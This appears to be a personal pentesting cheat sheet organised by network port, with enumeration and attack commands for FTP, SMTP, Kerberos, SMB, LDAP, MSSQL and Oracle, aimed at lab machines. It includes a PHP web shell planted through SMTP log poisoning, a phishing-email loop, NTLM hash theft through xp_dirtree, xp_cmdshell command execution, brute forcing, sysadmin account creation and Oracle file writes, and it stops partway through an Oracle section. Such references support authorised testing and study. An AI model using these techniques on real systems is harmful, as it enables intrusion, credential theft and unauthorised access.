Return to Main Page

Enumerating Ports & Services


Port Scanning

nmap

  • Basic strategy
  • Enumerate all open TCP ports sudo nmap -p- <ip address> -oN <output file>
    Enumerate service versions and other information from open TCP ports
  • sudo nmap -p<comma separated list of open ports> -sV -sC <ip address> -oN <output file>
    • Easy way to create comma separated list using output file from sudo nmap -p- -oN <output file>
      • cat <output file from -p- scan> | grep open| awk -F / '{print $1}' ORS=',' | xclip -selection clipboard
    Enumerate all open UDP ports
  • sudo nmap -sU -oN <output file>
    • You do not want to do -p- for UDP ports. -p- will scan the full port range and would take a long time for UDP. -sU will test the most common/likely open ports.
    Enumerate service versions and other information from open UDP ports sudo nmap -p<comma separated list of open ports> -sV -sC -sU <ip address>
  • Port scanning tips:
    • Running scan with -sV and -sC at the same time or each separately can give different responses in some cases.
    • If UDP shows open|filtered then run scripts with -sC. This will be more likely to get a response from the port to confirm if it is open or not.
    • Sometimes open ports only show up while using -sT. Maybe only applicable to ISAKMP/ipsec.
  • Some nmap flags:
  • Show justification for scan results --reason
    Banner grab / version detection -sV
    "Safe scripts". Default script scan. Some are intrusive. -sC
    Top 1000 ports --top-ports 1000
    UDP Scan -sU
    TCP & UDP Scan -sTU
    Packets per second to send
    • nmap may send less if:
      • It has nothing to send
      • Hardware Limit
    --min-rate <#>

    netcat

    TCP Port Scan nc -nvv -w 1 -z <ip address> <port #> <port #>
    UDP Port Scan nc -nv -u -z -w 1 <ip address> <port #> <port #>
  • w: Connection timeout in seconds
  • z: Specify Zero-I/O mode which will send no data and is used for scanning

  • UDP Scanning relies on the server to send back a "ICMP Port Unreachable" message to know if a port is open or closed. If the server doesn't send back this message (port is filtered by a firewall, etc) then the port will look like it is open when it is not.

  • Port scan without builtin linux features
  • echo > /dev/tcp/<ip address>/<port> && echo UP || echo DOWN
  • Bash script for port scanning
  • #!/bin/bash host=10.5.5.11
    for port in {1..65535}; do
    timeout .1 bash -c "echo >/dev/tcp/$host/$port" &&
    echo "port $port is open"
    done
    echo "Done"
  • Massscan - Possbily the fastest port scanner.

  • 21 TCP / FTP

  • If FTP is rejecting user login *without* asking for a password then we can enumerate users
  • Tools
  • Connect to server ftp <ip address>
    Upload file put <file>
    Download file get <file>
    Upload multiple files mput *[.<.php/.html/etc...>]
    Download multiple files mget *[.<.php/.html/etc...>]
    Local current directory lcd
    Set binary mode binary
  • wget
  • Recursivley download FTP contents wget -r ftp://<user><ip address> --password=<password>
    Mirror FTP wget --mirror ftp://<user>:<password>@<ip address>
    • Proftp
      • Can copy a file between remote directories using write permissions
      • Connect to FTP server telnet <ip address> <port>
        Select a file to copy site cpfr <remote file>
        Select a location to copy file to Site cpto <remote directory to copy file to>

      22 TCP / SSH

    • Most common attack is brute forcing
      • Password attacks against enumerated usernames and default usernames
      • Brute force password with Hydra
      • Brute force private keys with Crowbar
      • Fuzz passwords using patator
      • Metasploit ssh_login
      • Bruteforcing can lock you out. Possibly for a set period of time.
    • Sometimes the password prompt is disabled and login is only allowed using a private key
    • SSH Key Fingerprint
      • Based on the hosts public key
      • /etc/ssh/ssh_host_rsa_key.pub
      • Used for easy identification of the hosts public key
      Connect with a different key exchange algorithm -oKexAlgorithms=+<algorithm>
      Connect with a different type of key -oPubkeyAcceptedKeyTypes=+<key type - example: ssh-dss>

      25 TCP / SMTP

    • Simple Mail Transfer Protocol
      • SMTP Commands:
      • VRFY <username> asks a server to verify an email address
        EXPN Asks the server for the membership of a mailing list
      • Sends mail
      • On internal networks you can typically send emails as anybody
      • SMTP Relay - send emails as another user if server is not authenticating sender
        • sendmail -t "email@domain.com" -f "admin@domain.com" -s "host" -u "" -m "message"
      • SMTP poisoning
      • 
        telnet 10.0.0.12 25
        Trying 10.0.0.12...
        Connected to 10.0.0.12.
        Escape character is '^]'.
        220 symfonos.localdomain ESMTP Postfix (Debian/GNU)
        HELO example.com
        250 symfonos.localdomain
        mail from: hacker@example.com
        250 2.1.0 Ok
        rcpt to: helios@symfonos.localdomain
        250 2.1.5 Ok
        data
        354 End data with <CR><F>.<CR><LF>
        subject: 
        <?php echo shell_exec($_GET['cmd']); ?>
        .
        250 2.0.0 Ok: queued as 8A6884082B
        quit
        221 2.0.0 Bye
        Connection closed by foreign host.
                        
      • LFI - /var/mail/<username>?cmd=<command>
    • Tools
    • nc
      • Use nc -nvC to implement a full CRLF, sometimes this is needed if a response is not being received from the server
      • CR - Carriage Return \n
        LF - Line Feed \r
    • Telnet
    • swaks
      • Swiss Army Knife SMTP
      • Bash script to send emails to a list
      • 
        for email in $(cat email.lst);
        do
        swaks \
        --from support@sneakymailer.htb \
        --to $email \
        --header 'Subject: Please Register Your Account' \
        --body 'http://10.10.14.106/test' \
        --server sneakymailer.htb
        done;
                                        
    • Thunderbird
      • Mail client
    • Evolution
      • Mail Client
      • Alt+F2

      53 TCP / DNS

    • If DNS is running then we can edit /etc/resolv.conf instead of /etc/hosts so it will autobatically grab other DNS names
      • resolv.conf hosts will be searched in order from top to bottom
    • nslookup
      • NXDOMAIN - Non-Existent Domain
      • SERVFAIL - Issue reaching the DNS server for the domain.
      Resolve IP to domain name
      Start nslookup in interactive mode nslookup
      Enter server IP server <ip address>
      Enter IP and/or hostname to resolve against the server
      • ip addresses to try:
        • ip of the nameserver itself
        • 127.0.0.1
        • 127.0.0.2
        • Any other suspected interested ip addresses or hostnames
      Zone transfer ls -d <domain>
    • Host
    • Resolve IP to domain name host <ip address>
      host <domain name> <DNS Server>
      Find all mx records for example.ecom host -t mx <Domain Name>
      Example: host -t mx example.com
      Zone Transfer host -l <domain name> <DNS Sever>
      Example: host -l cronos.htb ns1.cronos.htb
      Example: host -l cronos.htb <ip address>
      Find name servers host -t ns example.com
    • dig
    • Zone Transfer dig axfr <Domain - Example: friendzone.htb> @<ns ip address>
    • DNSRecon
    • Zone Transfer dnsrecon -d <Domain> -t axfr -n <DNS Address>
    • Gobuster
    • Subdomain brute force gobuster dns -d <Domain Name> -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
    • dnsEnum
    • wfuzz
    • Run scan to look for other subdomains
      Run 1st scan to check char length on responses and immediately push ctrl+c wfuzz -c -u <IP Address> -H "Host: FUZZ:<Domain Name<" -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt
      Run 2nd scan with --hh <#> flag to hide response to exclude length of page the coincides with directories that do not exist wfuzz -c -u <IP Address> -H "Host: FUZZ:<Domain Name>" -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt --hh <Char Length #>

      69 UDP / TFTP

    • No command to list files
    • Mostly the same commands as FTP

    • 79 TCP / finger

    • A service that provides information about users. Can provide information such as full name, login time, phone number, email last sent, maybe file information.
    • Connect with netcat
      • Enter a username and if it exists, it will return with details on the user.
      • 
        $ nc -nv 192.168.108.140 79                      130 ⨯
        Ncat: Version 7.91 ( https://nmap.org/ncat )
        Ncat: Connected to 192.168.108.140:79.
        charlotte
        Login: charlotte         Name: Charlotte
        
        [No profile information]
                    
    • Running finger on local machine
    • 
      $ finger                                         127 ⨯
      Login     Name       Tty      Idle  Login Time   Office     Office Phone
      kali      Kali       tty7     1:21  Sep 29 14:21 (:0)
              

      80 TCP / HTTP

    • Hosts file is located in /etc/hosts
    • Check headers for evidence of what the server is running
    • gobuster
      • Enumerate directories
    • feroxbuster
      • Enumerate directories recursivley
    • Google web server version to find OS version that the host is running
    • curl
      banner grab -i
      Follow page redirections and grab header -L -i
      Silent mode. Do not show progress meter or error messages. -s
    • html2text
      • Render page in CLI

      88 TCP / Kerberos

    • Tools
      • Bloodhound
        • Analyzes relationships between AD objects
        Generate file for bloodhound to analyze
      • sudo python3 bloodhound.py -c all -u <user> -p '<password>' -ns <ip> -d <domain name> --zip
      • sudo python3 bloodhound.py -c all -u <user> -p '<password>' -ns <ip> -d <domain name> -dc <domain controller hostname>--zip
    • Kerbrute
      • Can enumerate AD usernames
      • Enumerate usename list userenum -d <domain or ip> <username list>
        • /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
      • Can also be used to brute force passwords. Uses preauth method so it will not generate a typical failed login error code
    • AS-REP Roasting
      • Retrieve a ticket for a user that has DONT_REQ_PREAUTH enabled and then crack it
        • DONT_REQ_PREAUTH means the DC will provide a TGT without verifying the request for the ticket was encrypted by the password of the user that is requesting the TGT.
      • Attack can be done from machine that is not joined to the domain
        • Enumeration is easier on a domain-joined machine - you can use LDAP Filter or PowerView to find targets
      • Attack from a windows machine:
        • Tools:
          • PowerView.ps1 - Enumerate Users
          • ASREPRoast.ps1 - Retrieve ticket hashes
          • Rubeus - C#/.NET replacement for ASREPRoast.ps1. Harder for victim to detect.
      • Attack from linux
        • User enumeration methods:
          • Using LDAP, may need a domain users credentials to access.
          • Brute force - kerbrute
          • Any other means
        • Request tickets/retrieve hashes using Impacket-GetNPUsers
          • Impacket-GetNPUsers -dc-ip <ip> <domain>/ -no-pass -usersfile <file> -outputfile <file> -outputfile <file>
    • Good article on attacking Kerberos: https://m0chan.github.io/2019/07/31/How-To-Attack-Kerberos-101.html#as-rep-roasting

    • 110 TCP / POP3

    • Post Office Protocol 3
      • Used to receive emails
      • If we can log on to a POP3 server we can potentially read people's emails
      • Logging in can allow us to read data, not write
    • Tools
      • Evolution email client can be used
      • nc -nv <ip address> <port>
      • nc -nvC
        • add C flag if not getting a response
      • telnet
      Pick username to login with USER <username>
      Enter password for user PASS <password>
      List Emails LIST
      Read email RETR <email # from LIST>

      111 TCP / rpcbind / NFS

    • A portmapper
    • Should list NFS ports
    • Like a telephone book, similar to DNS, that maps out program numbers to ports
    • Listens on port 111. Maps RPC services to the ports they listen on. Clients provide the program number they are trying to access and RPCbind redirects the client to the port # for that service.

    • Tools
      • rpcinfo
        • Utility that will connect to the RPC server and report back any information divulged by the server.
        • Command: rpcinfo <ip address>
        • Compact Results -s
          Display all registered RP programs and show port numbers -p
      • nmap
        • rpcinfo script
      • netcat
        • nc -nv <ip address>
    • Network File System (NFS)
      • Often used with Unix systems. Can be difficult to setup securely so it is not uncommon that NFS shares are open to the world.
      • Gain access to files that show an owner with a UUID #
        • Create a new user on local machine with same UUID # as the user that has access to that file or folder
          • Create and use imposter user:
            • adduser <user>
            • Change UUID in /etc/passwd
            • sudo su <new user>
      Show paths that can be mounted and who can mount them showmount -e <ip address>
      Show client IP's using the mount showmount -a <ip address>
      mount an NFS path mount -t nfs <ip address>:<nfs share> <local directory to mount to - Example: /mnt/>

      113 TCP / ident

    • Used to identify who is using a TCP connection
      • By default nmap -sC will enumerate every use of every running port

      119 TCP / NNTP

    • Network News Transfer Protocol
    • Tools
      • netcat
        • nc -nv <ip address> <port>
    • Commands:
    • List available commands HELP
      List available articles to read LIST
    • Example:
    • 
      LIST
      215 list of newsgroups follows
      org.apache.avalon.dev 0 0 y
      org.apache.avalon.user 0 0 y
                                  
      • The 0 in each column means the first and last article for each newgroup is 0. This means there are no article available to read.

      135 TCP / msrpc

    • rpcclient - commands listed in 139 TCP section.
    • Lists all rpc endoints
      • Typically lists a ton of information that makes it tough to work with
      • Used with other exploits like SMB relays
    • impacket-rpcdump
    • Dump all information impacket-rpcdump <ip address>
    • impacket-rpcmap
    • Map rpc information 'ncacn_ip_tcp:<ip address>'
    • Brute force the endpoints we can interact with and the specific methods.
      • Try Googling the UUID's to find the methods
        • site: docs.microsoft.com <UUID>
      • Google .dll's
      • Google to see how we can interact with the methods we have access to
      'ncacn_ip_tcp:10.129.29.115' -brute-uuids -brute-opnums -auth-level 1 -opnum-max <# (go as low as maybe 5 up to 100)>
    • metasploit
      • /auxiliary/scanner/dcerpc/endpoint_mapper
      • /auxiliary/scanner/dcerpc/hidden

      139 TCP / Netbios

    • Netbios is different from SMB
    • A session layer protocol and service that allows computers on a local network to communicate with each other.
    • Modern implementations of SMB do not require netbios.
    • netbios is required for backwards compatibility with SMB.

    • Tools:
      • nbtscan
      • Example Usage sudo nbtscan -r 10.11.1.0/24
        Specify the originating UDP port as 137 -r
      • rpcclient
      • Typical authentication rpcclient <ip address>
      • Null Authentication
        • This generally works on Domains from 2003. Newly installed domains do not like null authentication
        • If this works then note that null authentication allows domain enumeration and a lot of information can be found
        rpcclient -U '' -N <ip address>
        Enumerate Users enumdomusers
        querydispinfo
        Query SID by account name (verify user existence) lookupnames <username>
        Query account name by SID
        Enumerate user groups queryusergroups <[rid value]>
        Query group name from rid value querygroup <rid value>
        Enumerate printers enumprinters
        Enumerate groups enumalsgroups [Builtin|Domain]
        Enumerate users (output in SID) in groups queryaliasmem [Builtin|Domain] <rid>
        Change users password (must log in to rpcclient as user) setuserinfo2 <username> 23 '<password>'
        • 23 is the USER_INTERAL4_INFORMATION field. It does things in cleartext. 24 supports encrpytion
        • NT_STATUS_PASSWORD_RESTRICTION means there was a password complexity failure and the password did not change
        Enumerate Domains enumdomains
        Domain SID lsaquery
        Domain info querydominfo
        Create domain user createdomuser
        delete domain user deletedomuser
        Add rights to user account lsaaddacctrights
        Remove rights from user account lsaremoveacctrights
        Enumerate trusted domain within AD forest dsenumdomtrusts
    • impacket-lookupsid
      • Enumerate users

      143 TCP / IMAP

      Login LOGIN <username> <password>
      • If enclosing values with quotes they must be escaped with a \
      List Folders/Mailboxes A1 LIST *
      A1 LIST INBOX *
      A1 LIST "Archive" *
      Create new folder/inbox A1 CREATE "<name>"
      Delete folder/mailbox A1 DELETE <name>
      Rename folder/mailbox A1 RENAME <mailbox to rename> <new name>
      List subscribed folders A1 LSUB "" *
      Status of a mailbox A1 STATUS INBOX (messages unseen recent)
      Select a mailbox A1 SELECT INBOX
      List Messages List messages A1 FETCH:* (flags)
      A1 UID FETCH 1:* (flags)
      Retrieve message content A1 FETCH 2 body[text]
      A1 FETCH 2 all
      A1 UID FETCH 102 (UID RFC822.SIZE BODY.PEEK[])
      Close mailbox A1 CLOSE
      Logout A1 LOGOUT

      161 UDP / SNMP

    • SNMP Management Information Base (MIB) - A database containing information usually related to network management
    • Simple Network Management Protocol. Used for the management and monitoring of network devices.
    • Susceptible to IP spoofing and replay attacks because it is based on UDP
    • SNMP 1, 2, and 2c do not encrypt traffic. Credentials and information can be intercepted over the local network.
    • Commonly left with configured with default public and private community strings. Default read-only community string is usually "public"
    • Community Strings/MIB Values:
    • TCP Local Ports 1.3.6.1.2.1.6.13.1.3
      User Accounts 1.3.6.1.4.1.77.1.2.25
      Software Name 1.3.6.1.2.1.25.6.3.1.2
      Storage Units 1.3.6.1.2.1.25.2.3.1.4
      Processes Path 1.3.6.1.2.1.25.4.2.1.4
      Running Programs 1.3.6.1.2.1.25.4.2.1.2
      System Processes 1.3.6.1.2.1.25.1.6.0
    • Tools
      • onesixtyone
        • SNMP scanner
        • brute force community strings
        • snmp-mibs-downloader
          • Convert OID's to text description in snmpwalk output
          • setup program: sudo vi /etc/snmp/snmp.conf
      • snmpwalk - probe and query SNMP values using a community string
      • Enumerate full MIB Tree snmpwalk -c public -v 1 <ip address> .
        snmpwalk -c public -v 2c <ip address> .
        Enumerate Specific MIB value snmpwalk -c public -v1 <ip address> <Community String/MIB Value>

      389 TCP / LDAP

    • TCP 389 LDAP plain text
    • Used for requesting information from the local domain controller.
    • LDAP requests sent to port 389 can be used to search for objects only within the global catalog’s home domain.
    • The requesting application can obtain all of the attributes for those objects.
      • For example, a request to port 389 could be used to obtain a user’s department
    • Tools
      • nmap --script ldap-search
      • Listen on localhost for ldap traffic
      • tcpdump -i lo -nnXs 0 'port 389'
      • Do no conver hosts or ports to name nn
        Print in ascii and hex X
        Capture entire packet -s 0
      • nmap
        • sudo nmap --script "ldap* and not brute" <ip address>
      • ldapminer
      • LDAP Explorer
      • ldapsearch
      • Basic search ldapsearch -H ldap://<ip address>
        Simple authentication ldapsearch -H ldap://<ip address> -x
        Authenticate as user
      • ldapsearch -H ldap://<ip address> -x -D '<user>@<domain>' -w '<password>' -b 'DC=something,DC=something'
        • ldap_bind: Strong(er) authentication required (8)
        • Create SSL Certificate for the LDAP server echo -n | openssl s_client -connect <dc FQDN>:636 | sed -ne '/-BEGIN CERTIFICATE-/,/-END CERTIFICATE-/p' > ldapserver.pem
          Configure the ldapsearch to use the SSL certificate Append "TLS_CACERT <path>/ldapserver.pem" to /etc/ldap/ldap.conf
          Authenticate with -Z flag added ldapsearch -H ldap://<ip address> -x -Z -D '<user>@<domain>' -w '<password>' -b 'DC=something,DC=something'
        Retrieve naming contexts ldapsearch -H ldap://<ip address> -x -s base namingcontexts
        • Output can be thought of folders and they are different types of folders
        Output all the LDAP information that can be queried
      • ldapsearch -H ldap://<ip address> -x -b "DC=<value>,DC=<value>"
        • DC=values from output of "Retrieving name contexts" command
      • Terms to grep for on this file (can be done instead of querying ldap for a term directly):
        • member
        • CN=
        • memberof
        • user
        • Password (and variations such as pwd)
        • Look for anomalies in output
          • cat <ldap output file> | awk '{print $1}' | sort | uniq -c | sort -nr
        Query LDAP
      • ldapsearch -H ldap://<ip address> -x -b "DC=<value>,DC=<value>" '<Query to search>'
        • Queries to search:
          • objectClass=Person
            • pwdLastSet
              • Convert to human readble using online converter:
                https://www.epochconverter.com/ldap
            • sAMAccountName = username
              • User is equivalent (not equivalent as a filter)
        Query LDAP with Filters
      • ldapsearch -H ldap://<ip address> -x -b "DC=<value>,DC=<value>" '<Query to search>' <Filter>
        • Can add more than 1 filter
          • '<Query to search>' <filter 1> <filter 2> <filter 3> ...
        • Filter examples
          • sAMAccountName
            • Retrieve all usernames. grep for sAMAccountName to get list of usernames.
              • Accounts with $ are machine generated. Passwords not crackable.
              • SM_ and HealthMailbox accounts are Exchange related. Passwords not crackable.
          • Domain admins
            • "(&(objectClass=user)(memberOf=CN=Domain Admins,CN=Users,DC=htb,DC=local))"
      • xkrbrelayx
        • dnstool
          • Modify LDAP (add/remove/modify) records

      443 TCP / HTTPS

    • Secure version of port 80. Most of the same things apply
    • Check certificate for any interesting information
    • Tools
      • nmap
        • nmap -sV --script=http-headers <ip>
      • testssl
        • Test which version of SSL is supported.
        • More verbose than sslscan
      • sslscan
        • Test which version of SSL is supported.
      • https://securityheaders.com
        • Analyze http headers for a website
    • Insecure SSL /TLS Encryption
      • SSL v2/3
      • TLS v1.0/1.1
      • Ciphers less than 128 bits
      • Red or orange output with sslscan (usually)

      445 TCP / SMB

    • SMB is the protocol, CIFS is an old dialect of SMB, and my is the Linux/Unix-like implementation of the SMB protocol.
    • Try logging in as guest as well as null authentication
    • Brute force usernames by themselves or with passwords
    • If errors with any smb command install: cifs-utils
    • enum4linux <ip address>
    • Mounting SMB share
    • Mount SMB Share
      Create a folder to mount to sudo mkdir /mnt/<folder>
      Mounting command and some different options
    • sudo mount -t cifs -o vers=1.0 //10.11.1.136/'<share name>' /mnt/<folder>
      • -o username=<username>,dir_mode=777,file_mode=666
      • -o username=<username>,uid=user,gid=group
      • -o 'user=<username>,password=<password>'
      Unmount SMB Share (Forced & Lazy) sudo umount -lf <mounted share directory>
    • crackmapexec
    • Check password policies crackmapexec smb --pass-pol <ip address>
      Check password policies with null authentication
    • crackmapexec smb --pass-pol <ip address> -u '' -p ''
      • This generally works on Domains from 2003. Newly installed domains do not like null authentication
      • If this works then note that null authentication allows domain enumeration and a lot of information can be found
    • Enumerate SMB Shares
      • Attempt with non-existent username and password
      smb -u <username> -p <password> --shares
      SMB Brute force smb -u <username> -p <password>
      WinRM Brute Force
    • winrm -u <username> -p <password>
      • If successful, get shell using evil-winrm
    • Crawl shares and output in json format
      • Read output with jq . <file>
      -M spider_plus
    • Query registry information - impacket-reg
    • Query HKU impacket-reg -hashes <LM:NTLM hashes> <domain>/<username>@<ip address> query -keyName HKU\\
      Query HKLM impacket-reg -hashes <LM:NTLM hashes> <domain>/<username>@<ip address> query -keyName HKLM\\
    • Interesting registeries
      • Some software might store secrets in this directory
    • Responder
      • Intercept SMB logon requests and gain the hash to crack
    • smbpasswd
    • Change user password smbpasswd -U <username> -r <domain or ip>
    • nmap
    • Enumerate share paths
      • May append a C: to the beginning even if it is a Linux host
      nmap --script smb-enum-shares
    • smbmap
    • list smb shares
      • Attempt with non-existent username
      smbmap –H <ip address> -u <username ex. guest>
      Recursively show all files/shares -R
    • smbclient
    • List smb shares smbclient -L <ip address>
      Download all SMB files w/ smbclient
    • smbclient //<ip address>/<share name>
    • recurse ON
    • prompt OFF
    • mget *
    • Switch user logon <username>
      Connect to share smbclient //<ip address>/<share name>
      Show extended file attributes allinfo <file>
      Download data stream file get "<Parent File>:<Data Stream File>"
    • smbcacls
    • See folder permissions smbcacls -N '//<ip address>/<share>' /<folder>
    • If access to write to SMB share
      • SCF File attack
        • Create icon on windows that has the icon image set on remote ip. When Windows tries to pull that icon it authenticates to the remote server. Hash can then be stolen.
        • https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/
    • Enumerate samba version
    • Wireshark
    • Log in anonymously (smbclient -L \\<ip address>)
    • Search for packet with "Session Setup Andx Responses" in the info field
    • ngrep & smbclient
    • Terminal 1
      • ngrep -i -d tap0 's.?a.?m.?b.?a.*[[:digit:]]' port 139
    • Terminal 2
      • echo exit | smbclient -L <ip address>
    • SMB1
      • Error correction - NT_STATUS_CONNECTION_DISCONNECTED
      • Unable to connect with SMB1 -- no workgroup available
      • Most likely smb is using too new of a protocol and needs to be manually set to use an older one
      • Fix #1 - smbclient flag smbclient //<ip address>/<share name> --option='client min protocol=NT1'
        Fix #2 - Change config file
      • Append to global section of /etc/samba/smb.conf:
        • client min protocol = NT1
          • Might need client min protocol = LANMAN1
      • service smbd restart
    • SMB Protocols
      • By default SMB2 selects the SMB2_10 variant.
      • By default SMB3 selects the SMB3_00 variant.
      LANMAN1 First modern version of the protocol. Long filename support.
      LANMAN2 Updates to Lanman1 protocol.
      NT1 Current up to date version of the protocol. Used by Windows NT. Known as CIFS.
      SMB2 Re-implementation of the SMB protocol. Used by Windows Vista and later versions of Windows. SMB2 has sub protocols available.
      SMB2_02 The earliest SMB2 version.
      SMB2_10 Windows 7 SMB2 version.
      SMB2_22 Early Windows 8 SMB2 version.
      SMB2_24 Windows 8 beta SMB2 version.
      SMB3 The same as SMB2. Used by Windows 8. SMB3 has sub protocols available.
      SMB3_00 Windows 8 SMB3 version. (mostly the same as SMB2_24)
    • impacket-smbclient

    • 464 TCP / kpasswd5

    • Used for changing/setting passwords against Active Directory.

    • 500 UDP / ISAKMP

    • Used for Internet Key Exchange (IKE)
    • nmap can only scan open TCP ports through IPSEC VPN using -sT (connect scan?)
      • Used to establish an IPSEC VPN
        • Internet Protocol Security (IPSEC) is a suite of tools that are used for securing network traffic at the IP Layer.
          • AH and ESP protocols provide security assurances:
            • Authentication Header (AH)
              • Provides data integrity (We will now if the data has been modified between senders).
              • Data source authentication (We will know if the source isn't what is expected for that connection).
              • Protection against replay attacks.
            • Encapsulating Security Payloads(ESP)
              • Provides similar capabilities as AH plus confidentiality (Someone in the middle won't be able to see the data)
            • Both of these protocols can operate in two modes:
              • Transport mode
                • The IP of the packet is sent in the clear over the internet for routing, but the payload is encrypted.
                • Typically used directly host to host
              • Tunnel mode
                • The entire IP packet is encrypted and becomes the payload of another IP packet. The header of the new packet directs where the packet goes.
                • Typically used when a computer is behind a network.
          • There are also security associations (SA) used with IPSEC. This provides a bundle of algorithms to dynamically exchange keys and establish a secure connection over AH or ESP. IKE is one of those.
    • Tools:
      • ike-scan
        • ike-scan -M <ip address>
          • Enumerates:
            • IKE Encryption type
            • Auth type (PSK, etc)
            • IKE version (v1 or v2)
      • strongswan
        • Used to connect to VPN once password is known
        • Avoid errors:
          • sudo apt install libstrongswan-standard-plugins
          • sudo apt install libstrongswan-extra-plugins
        • Must edit local files to connect to VPN
          • /etc/ipsec.secrets
          • Fields Explained
            
            # This file holds shared secrets or RSA private keys for authentication.
            %any : <Authentication Type - Example: PSK> "<VPN Password>"
                                    
            Example file
            
            # This file holds shared secrets or RSA private keys for authentication.
            
            %any : PSK "Dudecake1!"
                                    
          • /etc/ipsec.conf
          • Fields Explained
            
            # ipsec.conf - strongSwan IPsec configuration file
            config setup
                charondebug="all"
            # More verbose for troubleshooting connection
            
                uniqueids=yes
                strictcrlpolicy=no
            conn conceal
                authby=secret
            # Auth type.  PSK = secret
            
                auto=add
                ike=<Value 1>-<Value 2>-<Value 3>!
            # ike-scan values: Enc=<Value 1>; Hash=<Value 2>; Group=2:<value 3>
            
                esp=<Value 1>-<Value 2>!
            # ike-scan values: Enc=<Value 1>; Hash=<Value 2>
            
                type=transport
            # ipsec transport mode
            
                keyexchange=ikev1
            # ike-scan value: (IKE CGA version 1) = ikev1
            
                left=<Local Machine IP>
                right=<Remote Machine IP>
                rightsubnet=<Remote Machine IP>[tcp]                            
                                    
            Example File
            
            # ipsec.conf - strongSwan IPsec configuration file
            
            config setup
                charondebug="all"
                uniqueids=yes
                strictcrlpolicy=no
            
            conn conceal
                authby=secret
                auto=add
                ike=3des-sha1-modp1024!
                esp=3des-sha1!
                type=transport
                keyexchange=ikev1
                left=10.10.14.6
                right=10.10.10.116
                rightsubnet=10.10.10.116[tcp]
                                    

      636 TCP / LDAPS

    • LDAP SSL connection

    • 837 TCP / rsync

      Enumerate shared folders rsync <ip address>::
      List files in a shared folder rysnc <ip>::<rsync share>
      Download a file from remote machine rsync <ip address>::<remote file> <local directory>
      Download a directory from remote machine rsync -r <ip address>::<remote directory/share> <local directory>
      Create remote directory on local machine rsync -av rsync://<username>@<ip address:port>/<share name> ./<<local directory>>
      Upload a file to remote machine rsync ./<local file> <ip>::<remote directory>
      Upload directory to remote machine rsync -r ./<local directory> <ip address>::<remote directory>
      Upload/create directory on local machine on remote machine rsync -av ./.ssh rsync://<ip address>/<share name>
      Specify a ssh port for rsync if ssh is not running on 22 rync -a -e "ssh -p <port #>" <local directory> <user>@<ip address>:<directory>

      1025 TCP / msrpc


      1433 TCP / Microsoft SQL

    • Good resource: http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet
    • Crackmapexec
    • Brute force crackmapexec mssql <ip address> -u <username or username list> -p <password of password list> -x "<command>"
    • Retrieve mssql service's password using smb
    • Set listener on Kali sudo responder -I tun0
      Connect to non-existing SMB server from mssql
    • xp_dirtree '\\<ip address>\<fake share name>'
    • exec master.dbo.xp_dirtree "\\<ip address>\test"
    • Crack the NetNTLMv2 output hash on Kali responder hashcat -m 5600
      Log in with mssql-svc password retrieved mssqlclient mssql-svc:'<password>'@<ip> -windows-auth
    • Run / enable shell commands
    • Enable xp_cmdshell (with impacket-mssqlclient) enable_xp_cmdshell
      Run shell command (with impacket-mssqlclient) xp_cmdshell <command>
      Enable xp_cmdshell (without impacket-mssqlclient) EXEC sp_configure 'show advanced options', 1;
      RECONFIGURE;
      EXEC sp_configure 'xp_cmdshell', 1;
      RECONFIGURE;
      Run shell command (without impacket-mssqlclient) EXEC xp_cmdshell '<command>';
    • sqsh
      • append server to /etc/freetds/freetds.config
      • 
        [<hostname>]
        host = <ip address>
        port = <port #>
        tds version = <Examples: 5.0, 7.3, 8.0>
                
      • Commands
      • Login sqsh -S <ip> -U <user> -P <password>
        <ip address> can be replaced with hostname if specified in freetds.config file
        Send command go (after entering command)
    • Mssql commands
    • Run shell command EXEC xp_cmdshell '<command>'
      Enable xp_cmdshell
      
      EXEC sp_configure 'show advanced options', 1;
      RECONFIGURE;
      EXEC sp_configure 'xp_cmdshell', 1;
      RECONFIGURE;
                      
      View databases SELECT name FROM master.dbo.sysdatabases
      Select/use a database use <db>
      Get table names SELECT * FROM <db name>.INFORMATION_SCHEMA.TABLES;
      (use <db> first)SELECT name FROM sysobjects WHERE xtype = 'U'
      List linked servers EXEC sp_linkedservers
      SELECT * FROM sys.servers;
      List users select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
      Create user with sysadmin privs CREATE LOGIN <username> WITH PASSWORD = '<password>'
      sp_addsrvrolemember '<username>', 'sysadmin
      View password hashes SELECT name, password_hash FROM master.sys.sql_logins
      View permissions SELECT * FROM fn_my_permissions(NULL, 'SERVER');

      1521 TCP / Oracle TNS Listener

    • Oracle DB exploit guide
      • blackhat.com/presentations/bh-usa-09/GATES/BHUSA09-Gates-OracleMetasploit-SLIDES.pdf
    • Metasploit for Oracle
      • blog.zsec.uk/msforacle/
    • ODAT
      • Requires sqlplus to run correctly
      • Usage
      • Enumerate SID for Oracle DB
      • odat sidguess
      • auxiliary/scanner/oracle/sid_brute
      • Brute force login credentials
      • odat passwordguesser
      • auxiliary/scanner/oracle/oracle_login
      • *Passwords are typically lowercase
      • Log into Oracle DB sqlplus64 <username>/<password>@<ip address>:<port>/<DB Name>
        Log into Oracle DB with sys db admin (sudo for oracle) sqlplus64 <username>/<password>@<ip address>:<port>/<DB Name> as sysdba
      • ODAT Commands
      • Scan Oracle DB
      • odat all -s <ip address> -d <database> -U <username> -P <password>
      • Add --sysdba flag to authenticate as sysdba (sudo for Oracle)
      • Authenticate as sysdba (sudo for Oracle) --sysdba
        Upload file
      • odat dbmsadvisor -s 10.10.10.82 -d <database> -U <username> -P <password> --sysdba --putFile C:\\inetpub\\wwwroot <remote file> <local file>
        • Also try dbmsxslprocessor instead of dbmsadvisor
    • Oracle DB Commands:
    • View privileges select * from session_privs;
      select * from user_role_privs;
      Read file
      
      declare
      f utl_file.file_type;
      s varchar(400);
      begin
      f := utl_file.fopen('/inetpub/wwwroot', 'iisstart.htm', 'R');
      utl_file.get_line(f,s);
      utl_file.fclose(f);
      dbms_output.put_line(s);
      end;
                          
      Write file
      
      declare
      f utl_file.file_type;
      s varchar(5000) := '<insert text to write>';
      begin
